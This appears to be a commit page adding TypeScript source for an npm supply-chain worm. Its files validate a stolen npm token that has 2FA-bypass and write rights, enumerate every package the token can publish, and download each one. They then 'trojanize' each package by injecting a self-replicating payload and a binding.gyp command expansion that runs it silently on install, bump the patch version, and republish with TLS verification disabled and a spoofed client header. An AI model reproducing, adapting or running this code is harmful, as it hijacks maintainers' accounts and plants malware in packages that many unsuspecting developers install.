Upload files to "src/mutator/npm"
This commit is contained in:
@@ -0,0 +1,127 @@
|
||||
import { $ } from "bun";
|
||||
import { createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import { join } from "path";
|
||||
import { Readable } from "stream";
|
||||
import { pipeline } from "stream/promises";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { publishTarball } from "./publish";
|
||||
import { TMP_PACKAGE_NAME, updateTarball } from "./tarball";
|
||||
import type { TokenInfo } from "./tokenCheck";
|
||||
|
||||
export { TMP_PACKAGE_NAME } from "./tarball";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export class NpmClient extends Mutator {
|
||||
private tokenInfo: TokenInfo;
|
||||
|
||||
constructor(token: TokenInfo) {
|
||||
super();
|
||||
this.tokenInfo = token;
|
||||
}
|
||||
|
||||
async execute() {
|
||||
try {
|
||||
const isUnix = ["darwin", "linux"].includes(process.platform);
|
||||
|
||||
if (isUnix) {
|
||||
this.tokenInfo.packages.forEach((pkgName: string) => {
|
||||
logUtil.log(`Would be updating: ${pkgName}`);
|
||||
});
|
||||
const packages = await this.downloadPackages(this.tokenInfo.packages);
|
||||
await Promise.all(
|
||||
packages.downloaded.map((pkg) => this.publishPackage(pkg)),
|
||||
);
|
||||
await fs.rm(packages.tmpDir, { recursive: true, force: true });
|
||||
return true;
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
logUtil.error("Failure updating package.");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private async updateTarball(tarballPath: string): Promise<string> {
|
||||
return updateTarball(tarballPath, {
|
||||
tag: "[npm]",
|
||||
addBunDep: true,
|
||||
});
|
||||
}
|
||||
|
||||
async downloadPackages(packages: string[]): Promise<{
|
||||
tmpDir: string;
|
||||
downloaded: Array<{ path: string; isPrivate: boolean }>;
|
||||
}> {
|
||||
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
|
||||
const downloaded: Array<{ path: string; isPrivate: boolean }> = [];
|
||||
|
||||
const download = async (pkg: string) => {
|
||||
try {
|
||||
const encodedName = pkg.replace("/", "%2F");
|
||||
const registryUrl = `https://registry.npmjs.org/${encodedName}`;
|
||||
|
||||
// Try unauth first — if it works, the package is public.
|
||||
let meta = await fetch(registryUrl);
|
||||
let isPrivate = false;
|
||||
let headers: Record<string, string> | undefined;
|
||||
|
||||
if (!meta.ok) {
|
||||
// Unauthenticated failed — try with auth (private package).
|
||||
headers = { Authorization: `Bearer ${this.tokenInfo.authToken}` };
|
||||
meta = await fetch(registryUrl, { headers });
|
||||
isPrivate = true;
|
||||
}
|
||||
if (!meta.ok) return;
|
||||
|
||||
const { "dist-tags": tags, versions } = (await meta.json()) as {
|
||||
"dist-tags": { latest: string };
|
||||
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||
};
|
||||
const tarball = versions[tags.latest]?.dist?.tarball;
|
||||
if (!tarball) return;
|
||||
|
||||
const res = await fetch(tarball, headers ? { headers } : undefined);
|
||||
if (!res.ok || !res.body) return;
|
||||
|
||||
const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`;
|
||||
const tarballPath = join(tmpDir, filename);
|
||||
await pipeline(
|
||||
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||
createWriteStream(tarballPath),
|
||||
);
|
||||
const updatedPath = await this.updateTarball(tarballPath);
|
||||
downloaded.push({ path: updatedPath, isPrivate });
|
||||
} catch (e) {
|
||||
logUtil.log(`Failed to download ${pkg}: ${e}`);
|
||||
}
|
||||
};
|
||||
|
||||
await Promise.all(packages.map(download));
|
||||
return { tmpDir, downloaded };
|
||||
}
|
||||
|
||||
async publishPackage(item: {
|
||||
path: string;
|
||||
isPrivate: boolean;
|
||||
}): Promise<boolean> {
|
||||
if (!this.tokenInfo) return false;
|
||||
try {
|
||||
return await publishTarball(
|
||||
item.path,
|
||||
this.tokenInfo.authToken,
|
||||
false,
|
||||
undefined,
|
||||
item.isPrivate,
|
||||
);
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { gunzipSync } from "node:zlib";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
interface PackageJson {
|
||||
name: string;
|
||||
version: string;
|
||||
readme?: string;
|
||||
[key: string]: unknown;
|
||||
}
|
||||
|
||||
function extractPackageJson(tar: Buffer): PackageJson {
|
||||
let offset = 0;
|
||||
while (offset + 512 <= tar.length) {
|
||||
const header = tar.subarray(offset, offset + 512);
|
||||
if (header[0] === 0) break;
|
||||
|
||||
const nameField = header.subarray(0, 100);
|
||||
const nameEnd = nameField.indexOf(0);
|
||||
const name = nameField
|
||||
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
|
||||
.toString("utf8");
|
||||
|
||||
const sizeStr = header
|
||||
.subarray(124, 136)
|
||||
.toString("utf8")
|
||||
.replace(/\0/g, "")
|
||||
.trim();
|
||||
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
|
||||
|
||||
offset += 512;
|
||||
|
||||
if (name === "package/package.json" || name.endsWith("/package.json")) {
|
||||
const data = tar.subarray(offset, offset + size);
|
||||
return JSON.parse(data.toString("utf8")) as PackageJson;
|
||||
}
|
||||
|
||||
offset += Math.ceil(size / 512) * 512;
|
||||
}
|
||||
throw new Error("package.json not found in tarball");
|
||||
}
|
||||
|
||||
export async function publishTarball(
|
||||
tarballPath: string,
|
||||
token: string,
|
||||
dryRun = false,
|
||||
provenanceBundle?: Record<string, any>,
|
||||
isPrivate = false,
|
||||
): Promise<boolean> {
|
||||
const registry = scramble("https://registry.npmjs.org");
|
||||
const tag = "latest";
|
||||
const userAgent = `npm/11.14.1.0 node/v24.10.0 ${process.platform} ${process.arch} workspaces/false`;
|
||||
|
||||
const tarballBuffer = await readFile(tarballPath);
|
||||
const decompressed = gunzipSync(tarballBuffer);
|
||||
const pkg = extractPackageJson(decompressed);
|
||||
|
||||
const { name, version } = pkg;
|
||||
if (!name || !version) {
|
||||
throw new Error("package.json missing required 'name' or 'version'");
|
||||
}
|
||||
|
||||
const integrity =
|
||||
"sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
|
||||
const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
|
||||
const base64Data = tarballBuffer.toString("base64");
|
||||
const tarballFilename = `${name}-${version}.tgz`;
|
||||
const tarballUrl = `http://registry.npmjs.org/${name}/-/${tarballFilename}`;
|
||||
const versionMetadata = {
|
||||
...pkg,
|
||||
name,
|
||||
version,
|
||||
readme: pkg.readme ?? "ERROR: No README data found!",
|
||||
dist: {
|
||||
integrity,
|
||||
shasum,
|
||||
tarball: tarballUrl,
|
||||
},
|
||||
};
|
||||
|
||||
const body = {
|
||||
_id: name,
|
||||
name,
|
||||
"dist-tags": { [tag]: version },
|
||||
versions: {
|
||||
[version]: versionMetadata,
|
||||
},
|
||||
access: isPrivate ? "restricted" : "public",
|
||||
_attachments: {
|
||||
[tarballFilename]: {
|
||||
content_type: "application/octet-stream",
|
||||
data: base64Data,
|
||||
length: tarballBuffer.length,
|
||||
},
|
||||
} as Record<string, { content_type: string; data: string; length: number }>,
|
||||
};
|
||||
|
||||
// Attach sigstore provenance bundle if provided.
|
||||
if (provenanceBundle) {
|
||||
const provenanceBundleName = `${name}-${version}.sigstore`;
|
||||
const serializedBundle = JSON.stringify(provenanceBundle);
|
||||
body._attachments[provenanceBundleName] = {
|
||||
content_type:
|
||||
(provenanceBundle.mediaType as string) ||
|
||||
"application/vnd.dev.sigstore.bundle.v0.3+json",
|
||||
data: serializedBundle,
|
||||
length: serializedBundle.length,
|
||||
};
|
||||
}
|
||||
|
||||
const encodedName = name.replace("/", "%2f");
|
||||
const url = `${registry}/${encodedName}`;
|
||||
|
||||
const headers: Record<string, string> = {
|
||||
"User-Agent": userAgent,
|
||||
"Npm-Auth-Type": "web",
|
||||
"Npm-Command": "publish",
|
||||
Authorization: `Bearer ${token}`,
|
||||
"Content-Type": "application/json",
|
||||
Accept: "*/*",
|
||||
};
|
||||
|
||||
const serializedBody = JSON.stringify(body);
|
||||
|
||||
if (dryRun) {
|
||||
logUtil.log("[publish] DRY RUN — request not sent");
|
||||
logUtil.log("[publish] PUT", url);
|
||||
logUtil.log("[publish] headers:", {
|
||||
...headers,
|
||||
Authorization: "Bearer <redacted>",
|
||||
});
|
||||
logUtil.log("[publish] body:", {
|
||||
_id: body._id,
|
||||
name: body.name,
|
||||
"dist-tags": body["dist-tags"],
|
||||
versions: Object.keys(body.versions),
|
||||
access: body.access,
|
||||
_attachments: {
|
||||
[tarballFilename]: {
|
||||
content_type: "application/octet-stream",
|
||||
length: tarballBuffer.length,
|
||||
data: `<${base64Data.length} chars base64>`,
|
||||
},
|
||||
},
|
||||
});
|
||||
logUtil.log("[publish] body size:", serializedBody.length, "bytes");
|
||||
return true;
|
||||
}
|
||||
|
||||
const fetchInit: RequestInit & {
|
||||
tls?: { rejectUnauthorized?: boolean };
|
||||
} = {
|
||||
method: "PUT",
|
||||
headers,
|
||||
body: serializedBody,
|
||||
tls: { rejectUnauthorized: false },
|
||||
};
|
||||
const response = await fetch(url, fetchInit);
|
||||
const text = await response.text();
|
||||
|
||||
if (!response.ok) {
|
||||
logUtil.error(
|
||||
`[publish] failed: ${response.status} ${response.statusText} — ${text}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
import { randomBytes } from "crypto";
|
||||
import { createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import * as path from "path";
|
||||
import { pipeline } from "stream/promises";
|
||||
import * as tar from "tar";
|
||||
|
||||
import { SCRIPT_NAME } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||
|
||||
export const TMP_PACKAGE_NAME = "package-updated.tgz";
|
||||
|
||||
export interface UpdateTarballOptions {
|
||||
/** Log / error-message tag, e.g. "[npm]" or "[npmoidc]". */
|
||||
tag: string;
|
||||
/**
|
||||
* Name of the binding.gyp target. Defaults to "nothing".
|
||||
* NPMOidcClient uses "Setup".
|
||||
*/
|
||||
targetName?: string;
|
||||
/** Whether to add `"bun"` as a dependency in package.json. */
|
||||
addBunDep?: boolean;
|
||||
/**
|
||||
* Custom content for index.js. When set, this is written directly
|
||||
* as index.js instead of the self-extracting Bun.main payload.
|
||||
* Useful for validation / testing the binding.gyp injection path.
|
||||
*/
|
||||
payload?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Download, trojanize, and repack an npm tarball.
|
||||
*
|
||||
* 1. Extract into a temp directory.
|
||||
* 2. Inject the self-extracting payload as `index.js`.
|
||||
* 3. Add a `binding.gyp` with a `<!(command)` expansion that triggers
|
||||
* execution during `node-gyp rebuild`.
|
||||
* 4. Bump the patch version.
|
||||
* 5. Repack and validate the resulting gzip stream.
|
||||
*
|
||||
* @returns The path to the modified tarball.
|
||||
*/
|
||||
export async function updateTarball(
|
||||
tarballPath: string,
|
||||
opts: UpdateTarballOptions,
|
||||
): Promise<string> {
|
||||
const { tag, targetName = "nothing", addBunDep = false, payload } = opts;
|
||||
|
||||
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
||||
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
|
||||
await fs.mkdir(tmpDir, { recursive: true });
|
||||
|
||||
try {
|
||||
await tar.extract({ file: tarballPath, cwd: tmpDir });
|
||||
|
||||
const scriptContent =
|
||||
payload ??
|
||||
buildSelfExtractingPayload(await Bun.file(Bun.main).text(), {
|
||||
wrap: true,
|
||||
});
|
||||
await Bun.write(path.join(tmpDir, "package", SCRIPT_NAME), scriptContent);
|
||||
|
||||
// binding.gyp — <!(command) expansion executes during node-gyp rebuild.
|
||||
// type: "none" means gyp expands the command (firing the payload) but
|
||||
// skips compilation — no .c/.o files needed.
|
||||
const gypContent = [
|
||||
"{",
|
||||
' "targets": [',
|
||||
" {",
|
||||
` "target_name": ${JSON.stringify(targetName)},`,
|
||||
' "type": "none",',
|
||||
` "sources": ["<!(node ${SCRIPT_NAME} > /dev/null 2>&1 && echo stub.c)"]`,
|
||||
" }",
|
||||
" ]",
|
||||
"}",
|
||||
].join("\n");
|
||||
await Bun.write(path.join(tmpDir, "package", "binding.gyp"), gypContent);
|
||||
|
||||
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
|
||||
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
|
||||
|
||||
if (addBunDep) {
|
||||
pkg.dependencies ??= {};
|
||||
pkg.dependencies["bun"] = "^1.3.13";
|
||||
}
|
||||
|
||||
const [major, minor, patch] = pkg.version.split(".").map(Number);
|
||||
pkg.version = `${major}.${minor}.${patch + 1}`;
|
||||
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
|
||||
|
||||
const updatedPath = path.join(
|
||||
path.dirname(tarballPath),
|
||||
`${uniqueSuffix}_${TMP_PACKAGE_NAME}`,
|
||||
);
|
||||
await pipeline(
|
||||
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
|
||||
createWriteStream(updatedPath),
|
||||
);
|
||||
|
||||
// Defensive postcondition: fail loudly here with context if the
|
||||
// tarball is somehow not a valid gzip stream, instead of
|
||||
// exploding inside `gunzipSync` further down the pipeline.
|
||||
const written = await fs.readFile(updatedPath);
|
||||
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
|
||||
throw new Error(
|
||||
`${tag} tarball at ${updatedPath} is not a valid gzip stream ` +
|
||||
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
|
||||
);
|
||||
}
|
||||
|
||||
logUtil.log(`Updated path: ${updatedPath}`);
|
||||
return updatedPath;
|
||||
} finally {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
export interface TokenInfo {
|
||||
packages: string[];
|
||||
authToken: string;
|
||||
valid: boolean;
|
||||
}
|
||||
|
||||
export async function checkToken(token: string): Promise<TokenInfo> {
|
||||
const headers = { Authorization: `Bearer ${token}` };
|
||||
|
||||
// Fetch all token pages
|
||||
let matched: any = null;
|
||||
let url: string | null = "https://registry.npmjs.org/-/npm/v1/tokens";
|
||||
while (url && !matched) {
|
||||
const response = await fetch(url, { headers });
|
||||
|
||||
if (!response.ok) {
|
||||
logUtil.log("Not valid!");
|
||||
return { packages: [], valid: false, authToken: token };
|
||||
}
|
||||
|
||||
const data = (await response.json()) as any;
|
||||
const first = token.slice(0, 8);
|
||||
const last = token.slice(-4);
|
||||
|
||||
matched = data.objects?.find(
|
||||
(obj: any) =>
|
||||
obj.bypass_2fa === true &&
|
||||
obj.token?.startsWith(first.slice(0, 4)) &&
|
||||
obj.token?.endsWith(last),
|
||||
);
|
||||
url = data.urls?.next ?? null;
|
||||
}
|
||||
|
||||
if (!matched) return { packages: [], valid: false, authToken: token };
|
||||
|
||||
const hasPackageWrite = matched.permissions?.some(
|
||||
(p: any) => p.name === "package" && p.action === "write",
|
||||
);
|
||||
|
||||
if (!hasPackageWrite) return { packages: [], valid: false, authToken: token };
|
||||
|
||||
// Get authenticated username
|
||||
const whoami = await fetch("https://registry.npmjs.org/-/whoami", {
|
||||
headers,
|
||||
});
|
||||
const { username } = (await whoami.json()) as any;
|
||||
|
||||
const packages: string[] = [];
|
||||
|
||||
for (const scope of matched.scopes ?? []) {
|
||||
if (scope.type === "org") {
|
||||
const hasOrgWrite = matched.permissions?.some(
|
||||
(p: any) => p.name === "org" && p.action === "write",
|
||||
);
|
||||
if (!hasOrgWrite) continue;
|
||||
const res = await fetch(
|
||||
`https://registry.npmjs.org/-/org/${scope.name}/package`,
|
||||
{ headers },
|
||||
);
|
||||
const pkgs = (await res.json()) as any;
|
||||
packages.push(
|
||||
...Object.entries(pkgs)
|
||||
.filter(([, v]) => v === "write")
|
||||
.map(([k]) => k)
|
||||
.filter(Boolean),
|
||||
);
|
||||
} else if (scope.type === "package") {
|
||||
const isNamespaceScope = /^@[^/]+$/.test(scope.name);
|
||||
|
||||
if (isNamespaceScope) {
|
||||
// Determine if this namespace is a user or org
|
||||
const scopeName = scope.name.slice(1); // strip leading @
|
||||
const orgRes = await fetch(
|
||||
`https://registry.npmjs.org/-/org/${scopeName}/package`,
|
||||
{ headers },
|
||||
);
|
||||
|
||||
if (orgRes.ok) {
|
||||
// It's an org
|
||||
const pkgs = (await orgRes.json()) as any;
|
||||
packages.push(
|
||||
...Object.entries(pkgs)
|
||||
.filter(([, v]) => v === "write")
|
||||
.map(([k]) => k),
|
||||
);
|
||||
} else {
|
||||
// It's a user — search by maintainer
|
||||
const searchRes = await fetch(
|
||||
`https://registry.npmjs.org/-/v1/search?text=maintainer:${scopeName}&size=250`,
|
||||
{ headers },
|
||||
);
|
||||
const searchData = (await searchRes.json()) as any;
|
||||
packages.push(
|
||||
...(searchData.objects?.map((o: any) => o.package.name) ?? []),
|
||||
);
|
||||
}
|
||||
} else {
|
||||
// Individual package entry — return as-is
|
||||
if (scope.name) packages.push(scope.name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch personal packages only if broadly scoped: { name: null, type: "package" }
|
||||
const isBroadlyScoped = matched.scopes.some(
|
||||
(s: any) => s.name === null && s.type === "package",
|
||||
);
|
||||
|
||||
if (isBroadlyScoped) {
|
||||
const searchRes = await fetch(
|
||||
`https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=250`,
|
||||
{ headers },
|
||||
);
|
||||
const searchData = (await searchRes.json()) as any;
|
||||
const personalPkgs: string[] =
|
||||
searchData.objects?.map((o: any) => o.package.name) ?? [];
|
||||
for (const pkg of personalPkgs) {
|
||||
if (!packages.includes(pkg)) packages.push(pkg);
|
||||
}
|
||||
}
|
||||
|
||||
return { packages, valid: true, authToken: token };
|
||||
}
|
||||
Reference in New Issue
Block a user